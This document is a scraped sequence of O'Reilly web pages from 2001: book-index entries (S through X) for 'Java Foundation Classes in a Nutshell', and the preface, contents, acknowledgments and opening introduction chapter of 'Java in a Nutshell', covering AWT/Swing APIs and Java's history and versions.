Dialog class: 9. The java.awt Package
FileDialog class: 9. The java.awt Package
JPopupMenu class: 23. The javax.swing Package
PopupMenu class: 9. The java.awt Package
Window class: 9. The java.awt Package
9. The java.awt Package
showConfirmDialog( ): 3.15. Simple Dialogs
3.15.2. Confirm Dialogs
JOptionPane class: 23. The javax.swing Package
showDialog( ): 3.17. JColorChooser
JColorChooser class: 23. The javax.swing Package
showDocument( ): 7.1. Writing Applets
8. The java.applet Package
showInputDialog( ): 3.15. Simple Dialogs
3.15.3. Input Dialogs
JOptionPane class: 23. The javax.swing Package
showInternalConfirmDialog( ): 3.15.2. Confirm Dialogs
JOptionPane class: 23. The javax.swing Package
showInternalDialog( ): 3.15. Simple Dialogs
showInternalInputDialog( ): 3.15.3. Input Dialogs
JOptionPane class: 23. The javax.swing Package
showInternalMessageDialog( ) (JOptionPane): 23. The javax.swing Package
showInternalOptionDialog( ): 3.15.2. Confirm Dialogs
JOptionPane class: 23. The javax.swing Package
showMessageDialog( ): 3.15. Simple Dialogs
3.15.1. Message Dialogs
JOptionPane class: 23. The javax.swing Package
23. The javax.swing Package
showOpenDialog( ): 3.16. JFileChooser
FileSelectionMode: 3.16. JFileChooser
JFileChooser class: 23. The javax.swing Package
showOptionDialog( ): 3.15.2. Confirm Dialogs
JOptionPane class: 23. The javax.swing Package
showSaveDialog( ): 3.16. JFileChooser
currentDirectory: 3.16. JFileChooser
JFileChooser class: 23. The javax.swing Package
showStatus( ): 8. The java.applet Package
Applet class: 7.1. Writing Applets
8. The java.applet Package
SimpleAttributeSet class: 30. The javax.swing.text Package
SinglePixelPackedSampleModel class: 18. The java.awt.image Package
SingleSelectionModel interface: 23. The javax.swing Package
23. The javax.swing Package
SizeRequirements class: 23. The javax.swing Package
slider controls, Swing: 2.2. Components
SliderUI class: 28. The javax.swing.plaf Package
SmallAttributeSet class: 30. The javax.swing.text Package
SoftBevelBorder: 3.10. Borders
Solaris platform, Java support for: 7.2.3. Using Applets with the Java Plug-in
SplitPaneUI class: 28. The javax.swing.plaf Package
start( ) (Applet): 7.1. Writing Applets
8. The java.applet Package
startDrag( ): 6.3. Drag-and-Drop
DragGestureEvent class: 12. The java.awt.dnd Package
12. The java.awt.dnd Package
stateChanged( ) (ChangeListener): 2.6.6. Event Reference
StateEdit class: 35. The javax.swing.undo Package
StateEditable interface: 35. The javax.swing.undo Package
status( ) (PixelGrabber): 18. The java.awt.image Package
statusAll( ) (MediaTracker): 9. The java.awt Package
statusID( ) (MediaTracker): 9. The java.awt Package
stop( ) (Applet): 7.1. Writing Applets
8. The java.applet Package
stopCellEditing( ) (CellEditor): 23. The javax.swing Package
StringContent class: 30. The javax.swing.text Package
StringSelection class: 6.1.2. The Transferable Interface
11. The java.awt.datatransfer Package
11. The java.awt.datatransfer Package
11. The java.awt.datatransfer Package
stringWidth( ): 4.1.4. Font Metrics
Stroke interface: 4.5. Stroking Lines
4.5.2. How a Stroke Works
9. The java.awt Package
9. The java.awt Package
strokes, Java 2D: 4.5.2. How a Stroke Works
Style interface: 30. The javax.swing.text Package
StyleConstants class: 30. The javax.swing.text Package
StyleContext class: 30. The javax.swing.text Package
StyledDocument interface: 30. The javax.swing.text Package
30. The javax.swing.text Package
StyledEditorKit class: 30. The javax.swing.text Package
StyledTextAction class: 30. The javax.swing.text Package
StyleSheet class: 31. The javax.swing.text.html Package
Swing: 1. The Java Foundation Classes
2. Swing and AWTArchitecture
23. The javax.swing Package
accessibility: 3.23. Accessibility
3.24.7. Accessibility
borders: 3.7. Client Properties
3.10. Borders
components: 2.2. Components
2.7. Swing Component Architecture
custom: 3.24. Custom Components
sizes of: 3.14.1. Minimum, Preferred, and Maximum Sizes
containers: 2.4. Containers and Containment
2.4. Containers and Containment
focus: 3.8.1. Focus Management
cursors: 3.12. Cursors
dialog boxes: 3.15. Simple Dialogs
double buffering: 3.13. Double-Buffering
event handling: 3.24.5. Handling Events
event listeners: 2.6.6. Event Reference
3.5. Timers
3.24.5. Handling Events
events: 2.6. Event Handling
example, creating and displaying a GUI: 2.1. A Simple Graphical User Interface
HTML-formatted text in: 3. Swing Programming Topics
3.21. JTextComponent and HTML Text Display
icons: 3.11. Icons
keyboard shortcuts: 3.8. Keyboard Shortcuts
keymappings: 3.8.4. Keymaps
layout managers: 2.5. Layout Management
2.5. Layout Management
menu accelerators: 3.8.2. Menu Mnemonics and Accelerators
menu mnemonics: 3.8.2. Menu Mnemonics and Accelerators
properties, client: 3.7. Client Properties
serialization: 3.9. Serialization
threads: 3.6. The Event Dispatch Thread
versions: 3.1. Versions of Swing
SwingPropertyChangeSupport class: 26. The javax.swing.event Package
SwingUtilities class: 23. The javax.swing Package
sync( ) (Toolkit): 9. The java.awt Package
SystemColor class: 4.1.2. Colors
9. The java.awt Package
9. The java.awt Package
SystemFlavorMap class: 11. The java.awt.datatransfer Package

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: T

TabableView interface: 30. The javax.swing.text Package
tabbed panes, Swing: 2.4. Containers and Containment
TabbedPaneUI class: 28. The javax.swing.plaf Package
TabExpander interface: 30. The javax.swing.text Package
TableCell class: 30. The javax.swing.text Package
TableCellEditor interface: 29. The javax.swing.table Package
TableCellRenderer interface: 29. The javax.swing.table Package
TableColumn class: 29. The javax.swing.table Package
TableColumnModel class: 29. The javax.swing.table Package
TableColumnModelEvent class: 26. The javax.swing.event Package
TableColumnModelListener interface: 26. The javax.swing.event Package
TableHeaderUI class: 28. The javax.swing.plaf Package
TableModel interface: 3.20. JTable and TableModel
29. The javax.swing.table Package
JTable component: 2.7. Swing Component Architecture
TableModelEvent class: 26. The javax.swing.event Package
TableModelListener interface: 26. The javax.swing.event Package
TableRow class: 30. The javax.swing.text Package
tables
displaying: 3.20. JTable and TableModel
Swing: 2.2. Components
23. The javax.swing Package
29. The javax.swing.table Package
TableUI class: 28. The javax.swing.plaf Package
TableView class: 30. The javax.swing.text Package
TabSet class: 30. The javax.swing.text Package
TabStop class: 30. The javax.swing.text Package
Tag class: 31. The javax.swing.text.html Package
TagAction class: 31. The javax.swing.text.html Package
TagElement class: 32. The javax.swing.text.html.parser Package
target event: 7.1.2. Applets and the Java 1.0 Event Model
text: 9. The java.awt Package
AWT: 4.1. Graphics Before Java 2D
highlighting: 17. The java.awt.im Package
Java 2D: 4.2. Java 2D Graphics Attributes and Operations
rendering hints: 4.9.4. Text-Rendering Hints
Label class: 9. The java.awt Package
Swing: 23. The javax.swing Package
23. The javax.swing Package
30. The javax.swing.text Package
displaying: 2.2. Components
editing: 3.8.4. Keymaps
HTML: 31. The javax.swing.text.html Package
32. The javax.swing.text.html.parser Package
HTML-formatted: 3. Swing Programming Topics
3.21. JTextComponent and HTML Text Display
RTF: 33. The javax.swing.text.rtf Package
TextArea class: 9. The java.awt Package
TextComponent class: 9. The java.awt Package
TextEvent class: 14. The java.awt.event Package
TextField class: 9. The java.awt Package
TextLayout class: 15. The java.awt.font Package
TextListener interface: 14. The java.awt.event Package
text art with font glyphs, Java 2D: 4.9.7. Text Art with Font Glyphs
TextAction class: 30. The javax.swing.text Package
TextArea class: 2.2. Components
TextAreaPeer class: 20. The java.awt.peer Package
TextAttribute class: 15. The java.awt.font Package
TextComponent class: 2.2. Components
9. The java.awt Package
TextComponentPeer class: 20. The java.awt.peer Package
TextEvent class: 14. The java.awt.event Package
TextField class: 2.2. Components
9. The java.awt Package
TextFieldPeer class: 20. The java.awt.peer Package
TextHitInfo class: 15. The java.awt.font Package
TextLayout class: 4.9.6. Advanced Text Drawing
15. The java.awt.font Package
TextLayout( ) (LineBreakMeasurer): 15. The java.awt.font Package
TextLineMetrics class: 15. The java.awt.font Package
TextListener interface: 2.6.6. Event Reference
14. The java.awt.event Package
TextUI class: 28. The javax.swing.plaf Package
TexturePaint class: 4.2. Java 2D Graphics Attributes and Operations
4.6. Paint
9. The java.awt Package
textValueChanged( ) (TextListener): 2.6.6. Event Reference
threads, event dispatch: 3.6. The Event Dispatch Thread
TileObserver interface: 18. The java.awt.image Package
Timer class: 3.5. Timers
23. The javax.swing Package
timers, Swing: 3.5. Timers
TitledBorder class: 3.10. Borders
24. The javax.swing.border Package
TitledBorderUIResource class: 28. The javax.swing.plaf Package
toBack( )
JInternalFrame class: 23. The javax.swing Package
Window class: 9. The java.awt Package
toDisplayString( )
Accessibility class: 22. The javax.accessibility Package
AccessibleBundle class: 22. The javax.accessibility Package
toFront( )
JInternalFrame class: 23. The javax.swing Package
Window class: 9. The java.awt Package
toggle buttons
AWT: 2.2. Components
Swing: 2.2. Components
2.2. Components
23. The javax.swing Package
ToggleButtonModel class: 23. The javax.swing Package
toolbars, Swing: 2.2. Components
ToolBarUI class: 28. The javax.swing.plaf Package
Toolkit class: 3.12. Cursors
9. The java.awt Package
ToolTipManager class: 3.4. Tooltips
23. The javax.swing Package
tooltips, Swing: 2.2. Components
3.4. Tooltips
23. The javax.swing Package
23. The javax.swing Package
accessibility and: 3.23. Accessibility
toolTipText property (JComponent): 3.4. Tooltips
ToolTipUI class: 28. The javax.swing.plaf Package
toString( ), Attribute class: 31. The javax.swing.text.html Package
Transferable interface: 6.1.2. The Transferable Interface
11. The java.awt.datatransfer Package
11. The java.awt.datatransfer Package
TransferableColor class: 6.4. A Data Source
TransferableProxy class: 12. The java.awt.dnd Package
transferring data: 6.1.1. The DataFlavor Class
6.1.2. The Transferable Interface
6.1.2. The Transferable Interface
(see also cut-and-paste and drag-and-drop)
transform( )
AffineTransform class: 4.11.2. Performing Transformations
Graphics2D class: 4.3. The Coordinate System
transformations
Java 2D: 4.2. Java 2D Graphics Attributes and Operations
4.3. The Coordinate System
4.10.6. Processing a BufferedImage
4.11. Transformations with AffineTransform
16. The java.awt.geom Package
TransformAttribute class: 15. The java.awt.font Package
translate( )
AffineTransform class: 4.2. Java 2D Graphics Attributes and Operations
4.11.1. Setting Up an AffineTransform
Graphics2D class: 4.3. The Coordinate System
Point class: 9. The java.awt Package
Transparency interface: 9. The java.awt Package
tree structures, Swing: 2.2. Components
TreeCellEditor interface: 34. The javax.swing.tree Package
TreeCellRenderer interface: 34. The javax.swing.tree Package
treeCollapsed( ) (TreeExpansionListener): 2.6.6. Event Reference
treeExpanded( ) (TreeExpansionListener): 2.6.6. Event Reference
TreeExpansionEvent class: 26. The javax.swing.event Package
TreeExpansionListener interface: 2.6.6. Event Reference
26. The javax.swing.event Package
26. The javax.swing.event Package
TreeModel interface: 3.19. JTree and TreeModel
34. The javax.swing.tree Package
JTree component: 2.7. Swing Component Architecture
TreeModelEvent class: 26. The javax.swing.event Package
TreeModelHandler class: 23. The javax.swing Package
TreeModelListener interface: 26. The javax.swing.event Package
TreeNode interface: 34. The javax.swing.tree Package
TreePath class: 34. The javax.swing.tree Package
TreeSelectionEvent class: 26. The javax.swing.event Package
TreeSelectionListener interface: 2.6.6. Event Reference
26. The javax.swing.event Package
TreeSelectionModel interface: 34. The javax.swing.tree Package
TreeSelectionRedirector class: 23. The javax.swing Package
TreeUI class: 28. The javax.swing.plaf Package
treeWillCollapse( ): 2.6.6. Event Reference
treeWillExpand( ): 2.6.6. Event Reference
TreeWillExpandListener interface: 2.6.6. Event Reference
26. The javax.swing.event Package

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: U

UI delegate objects: 2.7. Swing Component Architecture
custom components and: 3.24.5. Handling Events
UIDefaults class: 23. The javax.swing Package
UIDefaults.LazyValue interface: 23. The javax.swing Package
UIManager class: 3.22. Pluggable Look-and-Feel
23. The javax.swing Package
UIResource interface: 3.22.1. Using Themes with the Metal Look-and-Feel
23. The javax.swing Package
23. The javax.swing Package
28. The javax.swing.plaf Package
29. The javax.swing.table Package
UnderlineAction class: 30. The javax.swing.text Package
undo( )
AbstractUndoableEdit class: 35. The javax.swing.undo Package
CompoundEdit class: 35. The javax.swing.undo Package
StateEdit class: 35. The javax.swing.undo Package
UndoableEdit interface: 35. The javax.swing.undo Package
UndoManager class: 35. The javax.swing.undo Package
UndoableEdit interface: 35. The javax.swing.undo Package
UndoableEditEvent class: 26. The javax.swing.event Package
UndoableEditListener interface: 26. The javax.swing.event Package
UndoableEditSupport class: 35. The javax.swing.undo Package
UndoManager class: 35. The javax.swing.undo Package
uninstallUI( ) (UIResource): 28. The javax.swing.plaf Package
unregisterComponent( ) (ToolTipManager): 23. The javax.swing Package
UnsupportedFlavorException class: 11. The java.awt.datatransfer Package
UnsupportedLookAndFeelException class: 23. The javax.swing Package
update( ) (PaintEvent): 14. The java.awt.event Package
updateChooser( ) (AbstractColorChooserPanel): 25. The javax.swing.colorchooser Package
updateComponentTreeUI( ) (SwingUtilities): 23. The javax.swing Package
URLs, loading images from: 4.1.5. Images
user space: 4.3. The Coordinate System
Utilities class: 30. The javax.swing.text Package

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: V

validatePage( ) (PrinterJob): 21. The java.awt.print Package
VALUE attribute, <PARAM> tag (HTML): 7.2.1. The <APPLET> Tag
valueChanged( ) (TreeSelectionListener): 2.6.6. Event Reference
valueForPathChanged( ) (TreeModel): 34. The javax.swing.tree Package
VariableHeightLayoutCache class: 34. The javax.swing.tree Package
vetoableChange( ): 2.6.6. Event Reference
VetoableChangeListener interface: 2.6.6. Event Reference
View class: 30. The javax.swing.text Package
ViewFactory interface: 30. The javax.swing.text Package
ViewListener class: 23. The javax.swing Package
ViewportUI class: 28. The javax.swing.plaf Package
viewToModel( ) (View): 30. The javax.swing.text Package
VSPACE attribute, <APPLET> tag (HTML): 7.2.1. The <APPLET> Tag

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: W

waitForAll( ): 4.1.5. Images
waitForID( ) (MediaTracker): 9. The java.awt Package
web browsers, writing applets for: 1. The Java Foundation Classes
web sites
examples in this book: 0.4. Examples Online
ICC Profile Format Specification: 10. The java.awt.color Package
Java information: 0.3. Java Programming Resources Online
Java Plug-in: 7.2.3. Using Applets with the Java Plug-in
widgets (see components)
WIDTH attribute, <APPLET> tag (HTML): 7.2.1. The <APPLET> Tag
Window class: 9. The java.awt Package
9. The java.awt Package
AWT: 2.4. Containers and Containment
windowActivated( ): 2.6.6. Event Reference
WindowAdapter class: 14. The java.awt.event Package
windowClosed( ): 2.6.6. Event Reference
windowClosing( ): 2.6.6. Event Reference
WindowConstants interface: 23. The javax.swing Package
windowDeactivated( ): 2.6.6. Event Reference
windowDeiconified( ): 2.6.6. Event Reference
WindowEvent class: 14. The java.awt.event Package
windowIconified( ): 2.6.6. Event Reference
WindowListener interface: 2.6.6. Event Reference
14. The java.awt.event Package
windowOpened( ): 2.6.6. Event Reference
WindowPeer class: 20. The java.awt.peer Package
windows: 9. The java.awt Package
9. The java.awt Package
14. The java.awt.event Package
14. The java.awt.event Package
14. The java.awt.event Package
AWT: 2.4. Containers and Containment
2.4. Containers and Containment
Swing: 2.4. Containers and Containment
2.4. Containers and Containment
23. The javax.swing Package
23. The javax.swing Package
23. The javax.swing Package
23. The javax.swing Package
Windows look-and-feel: 3.22. Pluggable Look-and-Feel
3.22. Pluggable Look-and-Feel
Windows platform
Java support for: 7.2.3. Using Applets with the Java Plug-in
StringSelection class and: 6.1.2. The Transferable Interface
WrappedPlainView class: 30. The javax.swing.text Package
WritableRaster class: 18. The java.awt.image Package
WritableRenderedImage class: 18. The java.awt.image Package
write( )
AbstractWriter class: 30. The javax.swing.text Package
EditorKit class: 30. The javax.swing.text Package
HTMLEditorKit class: 31. The javax.swing.text.html Package
RTFEditorKit class: 33. The javax.swing.text.rtf Package

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: X

There are no index entries for this letter.

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Java Foundation Classes in a Nutshell Search Page

Java™ Foundation Classes Search this book

Full Text Search

If you are having difficulty searching, or if you have not used this search utility before, please read this.

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Preface (Java in a Nutshell)

 Java in a Nutshell Search this book

Preface

This book is a desktop quick reference for Java™ programmers, designed to sit faithfully by your keyboard while you program. Part 1, "Introducing Java" of the book is a fast-paced, "no-fluff" introduction to the Java programming language and the core APIs of the Java platform. Part 2, "API Quick Reference" is a quick-reference section that succinctly details every class and interface of those core APIs. The book covers Versions 1.0, 1.1, 1.2, and 1.3 beta of Java.

0.1. Changes Since the Second Edition

Readers who are familiar with the second edition of this book will notice a number of changes in this edition. Most notably, the AWT and applet APIs are no longer documented in this book. The Java platform tripled in size between Java 1.1 and Java 1.2. Accordingly, and unavoidably, Java in a Nutshell has been split into three volumes. The volume you are now reading documents only the essential APIs of the platform, including the basic language and utility classes, as well as classes for input/output, networking, and security. See the Table of Contents for a complete list of the packages documented here.

If you are a client-side programmer who is working with graphics or graphical user interfaces, you will probably want to supplement this book with Java Foundation Classes in a Nutshell, which documents all the graphics- and GUI-related classes, including the AWT, Swing, Java 2D, and applet APIs. And, if you are an server-side or enterprise programmer, you will likely be interested in Java Enterprise in a Nutshell.

Another big change is that Part 1, "Introducing Java" of this book has been almost entirely rewritten. The first and second editions of this book assumed knowledge of and experience with C or C++. Now that Java has come thoroughly into its own, that assumption no longer seems appropriate, so I have rewritten and expanded Chapters 2 and 3 to explain Java without any reference to C, C++, or any other programming language. Programmers with a modest amount of experience should now be able to learn Java programming from this book. These introductory chapters are written in a tight, concise style, so programmers who already know Java should find them useful as a language reference.

Another new feature of Part 1, "Introducing Java" is Chapter 4, "The Java Platform". This chapter is an introduction to the APIs documented in the reference section of the book. It includes more than 60 detailed API usage examples that show how to accomplish common tasks with the predefined classes of the Java platform.

Finally, the quick-reference section in Part 2, "API Quick Reference" of the book has a new look that dramatically improves the readability of the reference material and packs even more API information into a small space. Even if you are already familiar with the second edition, you should take the time to read the "How To Use This Quick Reference" section at the beginning of Part 2, "API Quick Reference"; it explains the new quick-reference format and shows you how to get the most out of it.

Previous | Home | Next
Copyright | Book Index | 0.2. Contents of This Book
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Contents of This Book (Java in a Nutshell)

 Java Enterprise in a Nutshell Search this book

0.2. Contents of This Book

The first eight chapters of this book document the Java language, the Java platform, and the Java development tools that are supplied with Sun's Java SDK (software development kit):

Chapter 1, "Introduction"

This chapter is an overview of the Java language and the Java platform that explains the important features and benefits of Java. It concludes with an example Java program and walks the new Java programmer through it line by line.

Chapter 2, "Java Syntax from the Ground Up"

This chapter explains the details of the Java programming language. It is a long and detailed chapter. Experienced Java programmers can use it as a language reference. Programmers with substantial experience with languages such as C and C++ should be able to pick up Java syntax by reading this chapter. The chapter does not assume years of programming experience, or even familiarity, with C or C++, however. Even beginning programmers, with only modest experience, should be able to learn Java programming by studying this chapter carefully.

Chapter 3, "Object-Oriented Programming in Java"

This chapter describes how the basic Java syntax documented in Chapter 2, "Java Syntax from the Ground Up" is used to write object-oriented programs in Java. The chapter assumes no prior experience with OO programming. It can be used as a tutorial by new programmers or as a reference by experienced Java programmers.

Chapter 4, "The Java Platform"

This chapter is an overview of the essential Java APIs covered in this book. It contains numerous short examples that demonstrate how to perform common tasks with the classes and interfaces that comprise the Java platform. Programmers who are new to Java, and especially those who learn best by example, should find this a valuable chapter.

Chapter 5, "Java Security"

This chapter explains the Java security architecture that allows untrusted code to run in a secure environment from which it cannot do any malicious damage to the host system. It is important for all Java programmers to have at least a passing familiarity with Java security mechanisms.

Chapter 6, "JavaBeans"

This chapter documents the JavaBeans™ component framework and explains what programmers need to know to create and use the reusable, embeddable Java classes known as beans.

Chapter 7, "Java Programming and Documentation Conventions"

This chapter documents important and widely adopted Java programming conventions and also explains how you can make your Java code self-documenting by including specially formatted documentation comments.

Chapter 8, "Java Development Tools"

The Java SDK shipped by Sun includes a number of useful Java development tools, most notably the Java interpreter and the Java compiler. This chapter documents those tools.

These first eight chapters teach you the Java language and get you up and running with the Java APIs. The bulk of the book, however, is the API quick reference, Chapters 9 through 29, which is a succinct but detailed API reference formatted for optimum ease of use. Please be sure to read the How To Use This Quick Reference section, which appears at the beginning of the reference section; it explains how to get the most out of this section.

Previous | Home | Next
0.1. Changes Since the Second Edition | Book Index | 0.3. Related Books
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Acknowledgments (Java in a Nutshell)

 Java Enterprise in a Nutshell Search this book

0.9. Acknowledgments

Many people helped in the creation of this book, and I am grateful to them all. I am indebted to the many, many readers of the first two editions who wrote in with comments, suggestions, bug reports, and praise. Their many small contributions are scattered throughout the book. Also, my apologies to those who made the many good suggestions that could not be incorporated into this edition.

Paula Ferguson, a friend and colleague, has been the editor of all three editions of this book. Her careful reading and always-practical suggestions have made the book stronger, clearer, and more useful. She guided the evolution of Java in a Nutshell from a single book into a three-volume series and, at times, juggled editing tasks for all three books at once. Finally, Paula went above and beyond the call of editorial duty by designing the hierarchy diagrams found at the start of each reference chapter.

Mike Loukides provided high-level direction and guidance for the first edition of the book. Eric Raymond and Troy Downing reviewed that first edition--they helped spot my errors and omissions and offered good advice on making the book more useful to Java programmers.

For the second edition, John Zukowski reviewed my Java 1.1 AWT quick-reference material, and George Reese reviewed most of the remaining new material. The second edition was also blessed with a "dream team" of technical reviewers from Sun. John Rose, the author of the Java inner class specification, reviewed the chapter on inner classes. Mark Reinhold, author of the new character stream classes in java.io, reviewed my documentation of these classes. Nakul Saraiya, the designer of the new Java Reflection API, reviewed my documentation of the java.lang.reflect package. I am very grateful to these engineers and architects; their efforts made this a stronger, more accurate book.

The third edition also benefited greatly from the contributions of reviewers who are intimately familiar with the Java platform. Joshua Bloch, one of the primary authors of the Java collections framework, reviewed my descriptions of the collections classes and interfaces. Joshua was also helpful in discussing the Timer and TimerTask classes of Java 1.3 with me. Mark Reinhold, creator of the java.lang.ref package, explained the package to me and reviewed my documentation of it. Scott Oaks reviewed my descriptions of the Java security and cryptography classes and interfaces. Joshua, Mark, and Scott are all engineers with Sun Microsystems, and I'm very grateful for their time. The documentation of the javax.crypto package and its subpackages was also reviewed by Jon Eaves. Jon worked on a clean-room implementation of the Java Cryptography Extension (which is available from http://www.aba.net.au/ ), and his comments were quite helpful. Jon now works for Fluent Technologies (http://www.fluent.com.au/ ) consulting in Java and electronic commerce. Finally, Chapter 1 was improved by the comments of reviewers who were not already familiar with the Java platform: Christina Byrne reviewed it from the standpoint of a novice programmer, and Judita Byrne of Virginia Power offered her comments as a professional COBOL programmer.

The O'Reilly & Associates production team has done its usual fine work of creating a book out of the electronic files I submit. My thanks to them all. And a special thanks to Lenny Muellner and Chris Maden, who worked overtime to implement the new and improved format of the quick-reference section.

As always, my thanks and love to Christie.

David Flanagan
http://www.davidflanagan.com/
September 1999
Previous | Home | Next
0.8. How the Quick Reference Is Generated | Book Index | Part 1. Introducing Java
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Introduction (Java in a Nutshell)

 Java Enterprise in a Nutshell Search this book

Chapter 1. Introduction

Contents:

What Is Java?
Key Benefits of Java
An Example Program

Welcome to Java. Since its introduction in late 1995, the Java language and platform have taken the programming world by storm. This chapter begins by explaining what Java is and why it has become so popular. Then, as a tutorial introduction to the language, it walks you through a simple Java program you can type in, compile, and run.

1.1. What Is Java?

In discussing Java, it is important to distinguish between the Java programming language, the Java Virtual Machine, and the Java platform. The Java programming language is the language in which Java applications (including applets, servlets, and JavaBeans components) are written. When a Java program is compiled, it is converted to byte codes that are the portable machine language of a CPU architecture known as the Java Virtual Machine (also called the Java VM or JVM). The JVM can be implemented directly in hardware, but it is usually implemented in the form of a software program that interprets and executes byte codes.

The Java platform is distinct from both the Java language and Java VM. The Java platform is the predefined set of Java classes that exist on every Java installation; these classes are available for use by all Java programs. The Java platform is also sometimes referred to as the Java runtime environment or the core Java APIs (application programming interfaces). The Java platform can be extended with optional standard extensions. These extension APIs exist in some Java installations, but are not guaranteed to exist in all installations.

1.1.1. The Java Programming Language

The Java programming language is a state-of-the-art, object-oriented language that has a syntax similar to that of C. The language designers strove to make the Java language powerful, but, at the same time, they tried to avoid the overly complex features that have bogged down other object-oriented languages, such as C++. By keeping the language simple, the designers also made it easier for programmers to write robust, bug-free code. As a result of its elegant design and next-generation features, the Java language has proved wildly popular with programmers, who typically find it a pleasure to work with Java after struggling with more difficult, less powerful languages.

1.1.2. The Java Virtual Machine

The Java Virtual Machine, or Java interpreter, is the crucial piece of every Java installation. By design, Java programs are portable, but they are only portable to platforms to which a Java interpreter has been ported. Sun ships VM implementations for its own Solaris operating system and for Microsoft Windows (95/98/NT) platforms. Many other vendors, including Apple and various Unix vendors, provide Java interpreters for their platforms. There is a freely available port of Sun's VM for Linux platforms, and there are also other third-party VM implementations available. The Java VM is not only for desktop systems, however. It has been ported to set-top boxes, and versions are even available for hand-held devices that run Windows CE and PalmOS.

Although interpreters are not typically considered high-performance systems, Java VM performance is remarkably good and has been improving steadily. Of particular note is a VM technology called just-in-time ( JIT) compilation, whereby Java byte codes are converted on-the-fly into native-platform machine language, boosting execution speed for code that is run repeatedly. Sun's new Hotspot technology is a particularly good implementation of JIT compilation.

1.1.3. The Java Platform

The Java platform is just as important as the Java programming language and the Java Virtual Machine. All programs written in the Java language rely on the set of predefined classes[1] that comprise the Java platform. Java classes are organized into related groups known as packages. The Java platform defines packages for functionality such as input/output, networking, graphics, user-interface creation, security, and much more.

[1]A class is a module of Java code that defines a data structure and a set of methods (also called procedures, functions, or subroutines) that operate on that data.

The Java 1.2 release was a major milestone for the Java platform. This release almost tripled the number of classes in the platform and introduced significant new functionality. In recognition of this, Sun named the new version the Java 2 Platform. This is a trademarked name created for marketing purposes; it serves to emphasize how much Java has grown since its first release. However, most programmers refer to the Java platform by its official version number, which, at the time of this writing, is 1.2.[2]

[2]Although there is currently a beta release of Java 1.3 available

It is important to understand what is meant by the term platform. To a computer programmer, a platform is defined by the APIs he or she can rely on when writing programs. These APIs are usually defined by the operating system of the target computer. Thus, a programmer writing a program to run under Microsoft Windows must use a different set of APIs than a programmer writing the same program for the Macintosh or for a Unix-based system. In this respect, Windows, Macintosh, and Unix are three distinct platforms.

Java is not an operating system.[3] Nevertheless, the Java platform--particularly the Java 2 Platform--provides APIs with a comparable breadth and depth to those defined by an operating system. With the Java 2 Platform, you can write applications in Java without sacrificing the advanced features available to programmers writing native applications targeted at a particular underlying operating system. An application written on the Java platform runs on any operating system that supports the Java platform. This means you do not have to create distinct Windows, Macintosh, and Unix versions of your programs, for example. A single Java program runs on all these operating systems, which explains why "Write once, run anywhere" is Sun's motto for Java.

[3]There is a Java-based operating system, however; it is known as JavaOS.

It also explains why companies like Microsoft might feel threatened by Java. The Java platform is not an operating system, but for programmers, it is an alternative development target and a very popular one at that. The Java platform reduces programmers' reliance on the underlying operating system, and, by allowing programs to run on top of any operating system, it increases end users' freedom to choose an operating system.

1.1.4. Versions of Java

As of this writing, there have been four major versions of Java. They are:

Java 1.0

This was the first public version of Java. It contained 212 classes organized in 8 packages. There is a large installed base of web browsers that run this version of Java, so this version is still in use for writing simple applets--Java programs that are included in web pages. (See Java Foundation Classes in a Nutshell (O'Reilly) for a discussion of applets.)

Java 1.1

This release of Java doubled the size of the Java platform to 504 classes in 23 packages. It introduced inner classes, an important change to the Java language itself, and included significant performance improvements in the Java VM. This version of Java is out of date, but is still in use on systems that do not yet have a stable port of Java 1.2.

Java 1.2

This is the latest and greatest significant release of Java; it tripled the size of the Java platform to 1520 classes in 59 packages. Because of the many new features included in this release, the platform was renamed and is now called the Java 2 Platform.

Java 1.3 (beta)

This release includes minor corrections and updates to the Java platform, but does not include major changes or significant new functionality.

In addition, Sun has instituted a process for proposing and developing standard extensions to the Java platform. In the future, most new functionality is expected to take the form of a standard extension, rather than be a required part of every Java installation.

In order to work with Java 1.0 or Java 1.1, you have to obtain the Java Development Kit ( JDK) for that release. As of Java 1.2, the JDK has been renamed and is now called a Software Development Kit (SDK), so we have the Java 2 SDK or, more precisely, the Java 2 SDK, Standard Edition, Version 1.2 (or Version 1.3 beta). Despite the new name, many programmers still refer to the development kit as the JDK.

Don't confuse the JDK (or SDK) with the Java Runtime Environment ( JRE). The JRE contains everything you need to run Java programs, but does not contain the tools you need to develop Java programs (i.e., the compiler). You should also be aware of the Java Plug-in, a version of the Java 1.2 (and 1.3) JRE that is designed to be integrated into the Netscape Navigator and Microsoft Internet Explorer web browsers.

In addition to evolving the Java platform over time, Sun is also trying to produce different versions of the platform for different uses. The Standard Edition is the only version currently available, but Sun is also working on the Java 2 Platform, Enterprise Edition ( J2EE), for enterprise developers and the Java 2 Platform, Micro Edition, for consumer electronic systems, like handheld PDAs and cellular telephones.

Previous | Home | Next
Part 1. Introducing Java | Book Index | 1.2. Key Benefits of Java
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Key Benefits of Java (Java in a Nutshell)

 Java Enterprise in a Nutshell Search this book

1.2. Key Benefits of Java

